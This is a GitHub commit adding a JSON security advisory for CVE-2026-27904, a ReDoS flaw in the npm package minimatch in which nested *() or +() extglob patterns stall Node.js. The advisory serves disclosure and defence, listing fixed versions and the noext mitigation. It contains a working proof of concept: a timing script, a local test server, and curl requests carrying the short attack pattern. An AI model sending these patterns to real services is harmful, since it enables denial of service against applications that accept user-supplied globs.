Skip to content

Commit b082da6

Browse files
1 parent f1a73a8 commit b082da6

1 file changed

Lines changed: 198 additions & 0 deletions

File tree

Lines changed: 198 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,198 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-23c5-xmqv-rm74",
4+
"modified": "2026-02-26T22:07:15Z",
5+
"published": "2026-02-26T22:07:15Z",
6+
"aliases": [
7+
"CVE-2026-27904"
8+
],
9+
"summary": "minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions",
10+
"details": "### Summary\n\nNested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally.\n\n---\n\n### Details\n\nThe root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group:\n\n```typescript\n: this.type === '*' && bodyDotAllowed ? `)?`\n: `)${this.type}`\n```\n\nThis produces the following regexps:\n\n| Pattern | Generated regex |\n|----------------------|------------------------------------------|\n| `*(a\\|b)` | `/^(?:a\\|b)*$/` |\n| `*(*(a\\|b))` | `/^(?:(?:a\\|b)*)*$/` |\n| `*(*(*(a\\|b)))` | `/^(?:(?:(?:a\\|b)*)*)*$/` |\n| `*(*(*(*(a\\|b))))` | `/^(?:(?:(?:(?:a\\|b)*)*)*)*$/` |\n\nThese are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8's backtracking engine explores an exponential number of paths before returning `false`.\n\nThe generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration.\n\nMeasured times via `minimatch()`:\n\n| Pattern | Input | Time |\n|----------------------|--------------------|------------|\n| `*(*(a\\|b))` | `a` x30 + `z` | ~68,000ms |\n| `*(*(*(a\\|b)))` | `a` x20 + `z` | ~124,000ms |\n| `*(*(*(*(a\\|b))))` | `a` x25 + `z` | ~116,000ms |\n| `*(a\\|a)` | `a` x25 + `z` | ~2,000ms |\n\nDepth inflection at fixed input `a` x16 + `z`:\n\n| Depth | Pattern | Time |\n|-------|----------------------|--------------|\n| 1 | `*(a\\|b)` | 0ms |\n| 2 | `*(*(a\\|b))` | 4ms |\n| 3 | `*(*(*(a\\|b)))` | 270ms |\n| 4 | `*(*(*(*(a\\|b))))` | 115,000ms |\n\nGoing from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.\n\n---\n\n### PoC\n\nTested on minimatch@10.2.2, Node.js 20.\n\n**Step 1 -- verify the generated regexps and timing (standalone script)**\n\nSave as `poc4-validate.mjs` and run with `node poc4-validate.mjs`:\n\n```javascript\nimport { minimatch, Minimatch } from 'minimatch'\n\nfunction timed(fn) {\n const s = process.hrtime.bigint()\n let result, error\n try { result = fn() } catch(e) { error = e }\n const ms = Number(process.hrtime.bigint() - s) / 1e6\n return { ms, result, error }\n}\n\n// Verify generated regexps\nfor (let depth = 1; depth <= 4; depth++) {\n let pat = 'a|b'\n for (let i = 0; i < depth; i++) pat = `*(${pat})`\n const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()\n console.log(`depth=${depth} \"${pat}\" -> ${re}`)\n}\n// depth=1 \"*(a|b)\" -> /^(?:a|b)*$/\n// depth=2 \"*(*(a|b))\" -> /^(?:(?:a|b)*)*$/\n// depth=3 \"*(*(*(a|b)))\" -> /^(?:(?:(?:a|b)*)*)*$/\n// depth=4 \"*(*(*(*(a|b))))\" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\n// Safe-length timing (exponential growth confirmation without multi-minute hang)\nconst cases = [\n ['*(*(*(a|b)))', 15], // ~270ms\n ['*(*(*(a|b)))', 17], // ~800ms\n ['*(*(*(a|b)))', 19], // ~2400ms\n ['*(*(a|b))', 23], // ~260ms\n ['*(a|b)', 101], // <5ms (depth=1 control)\n]\nfor (const [pat, n] of cases) {\n const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))\n console.log(`\"${pat}\" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)\n}\n\n// Confirm noext disables the vulnerability\nconst t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))\nconsole.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)\n\n// +() is equally affected\nconst t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))\nconsole.log(`\"+(+(+(a|b)))\" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)\n```\n\nObserved output:\n```\ndepth=1 \"*(a|b)\" -> /^(?:a|b)*$/\ndepth=2 \"*(*(a|b))\" -> /^(?:(?:a|b)*)*$/\ndepth=3 \"*(*(*(a|b)))\" -> /^(?:(?:(?:a|b)*)*)*$/\ndepth=4 \"*(*(*(*(a|b))))\" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\"*(*(*(a|b)))\" n=15: 269ms result=false\n\"*(*(*(a|b)))\" n=17: 268ms result=false\n\"*(*(*(a|b)))\" n=19: 2408ms result=false\n\"*(*(a|b))\" n=23: 257ms result=false\n\"*(a|b)\" n=101: 0ms result=false\nnoext=true: 0ms (should be ~0ms)\n\"+(+(+(a|b)))\" n=18: 6300ms result=false\n```\n\n**Step 2 -- HTTP server (event loop starvation proof)**\n\nSave as `poc4-server.mjs`:\n\n```javascript\nimport http from 'node:http'\nimport { URL } from 'node:url'\nimport { minimatch } from 'minimatch'\n\nconst PORT = 3001\nhttp.createServer((req, res) => {\n const url = new URL(req.url, `http://localhost:${PORT}`)\n const pattern = url.searchParams.get('pattern') ?? ''\n const path = url.searchParams.get('path') ?? ''\n\n const start = process.hrtime.bigint()\n const result = minimatch(path, pattern)\n const ms = Number(process.hrtime.bigint() - start) / 1e6\n\n console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern=\"${pattern}\" path=\"${path.slice(0,30)}\"`)\n res.writeHead(200, { 'Content-Type': 'application/json' })\n res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\\n')\n}).listen(PORT, () => console.log(`listening on ${PORT}`))\n```\n\nTerminal 1 -- start the server:\n```\nnode poc4-server.mjs\n```\n\nTerminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:\n```\ncurl \"http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz\" &\n```\n\nTerminal 3 -- send a benign request while the attack is in-flight:\n```\ncurl -w \"\\ntime_total: %{time_total}s\\n\" \"http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz\"\n```\n\n**Observed output -- Terminal 2 (attack):**\n```\n{\"result\":false,\"ms\":\"64149\"}\n```\n\n**Observed output -- Terminal 3 (benign, concurrent):**\n```\n{\"result\":false,\"ms\":\"0\"}\n\ntime_total: 63.022047s\n```\n\n**Terminal 1 (server log):**\n```\n[2026-02-20T09:41:17.624Z] pattern=\"*(*(*(a|b)))\" path=\"aaaaaaaaaaaaaaaaaaaz\"\n[2026-02-20T09:42:21.775Z] done in 64149ms result=false\n[2026-02-20T09:42:21.779Z] pattern=\"*(a|b)\" path=\"aaaz\"\n[2026-02-20T09:42:21.779Z] done in 0ms result=false\n```\n\nThe server reports `\"ms\":\"0\"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.\n\nNote: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.\n\n---\n\n### Impact\n\nAny context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.\n\nDepth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.\n\n`+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).\n\n**Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "minimatch"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "10.0.0"
29+
},
30+
{
31+
"fixed": "10.2.3"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "npm",
40+
"name": "minimatch"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "9.0.0"
48+
},
49+
{
50+
"fixed": "9.0.7"
51+
}
52+
]
53+
}
54+
]
55+
},
56+
{
57+
"package": {
58+
"ecosystem": "npm",
59+
"name": "minimatch"
60+
},
61+
"ranges": [
62+
{
63+
"type": "ECOSYSTEM",
64+
"events": [
65+
{
66+
"introduced": "8.0.0"
67+
},
68+
{
69+
"fixed": "8.0.6"
70+
}
71+
]
72+
}
73+
]
74+
},
75+
{
76+
"package": {
77+
"ecosystem": "npm",
78+
"name": "minimatch"
79+
},
80+
"ranges": [
81+
{
82+
"type": "ECOSYSTEM",
83+
"events": [
84+
{
85+
"introduced": "7.0.0"
86+
},
87+
{
88+
"fixed": "7.4.8"
89+
}
90+
]
91+
}
92+
]
93+
},
94+
{
95+
"package": {
96+
"ecosystem": "npm",
97+
"name": "minimatch"
98+
},
99+
"ranges": [
100+
{
101+
"type": "ECOSYSTEM",
102+
"events": [
103+
{
104+
"introduced": "6.0.0"
105+
},
106+
{
107+
"fixed": "6.2.2"
108+
}
109+
]
110+
}
111+
]
112+
},
113+
{
114+
"package": {
115+
"ecosystem": "npm",
116+
"name": "minimatch"
117+
},
118+
"ranges": [
119+
{
120+
"type": "ECOSYSTEM",
121+
"events": [
122+
{
123+
"introduced": "5.0.0"
124+
},
125+
{
126+
"fixed": "5.1.8"
127+
}
128+
]
129+
}
130+
]
131+
},
132+
{
133+
"package": {
134+
"ecosystem": "npm",
135+
"name": "minimatch"
136+
},
137+
"ranges": [
138+
{
139+
"type": "ECOSYSTEM",
140+
"events": [
141+
{
142+
"introduced": "4.0.0"
143+
},
144+
{
145+
"fixed": "4.2.5"
146+
}
147+
]
148+
}
149+
]
150+
},
151+
{
152+
"package": {
153+
"ecosystem": "npm",
154+
"name": "minimatch"
155+
},
156+
"ranges": [
157+
{
158+
"type": "ECOSYSTEM",
159+
"events": [
160+
{
161+
"introduced": "0"
162+
},
163+
{
164+
"fixed": "3.1.4"
165+
}
166+
]
167+
}
168+
]
169+
}
170+
],
171+
"references": [
172+
{
173+
"type": "WEB",
174+
"url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-23c5-xmqv-rm74"
175+
},
176+
{
177+
"type": "ADVISORY",
178+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27904"
179+
},
180+
{
181+
"type": "WEB",
182+
"url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce"
183+
},
184+
{
185+
"type": "PACKAGE",
186+
"url": "https://github.com/isaacs/minimatch"
187+
}
188+
],
189+
"database_specific": {
190+
"cwe_ids": [
191+
"CWE-1333"
192+
],
193+
"severity": "HIGH",
194+
"github_reviewed": true,
195+
"github_reviewed_at": "2026-02-26T22:07:15Z",
196+
"nvd_published_at": "2026-02-26T02:16:21Z"
197+
}
198+
}

0 commit comments

Comments
 (0)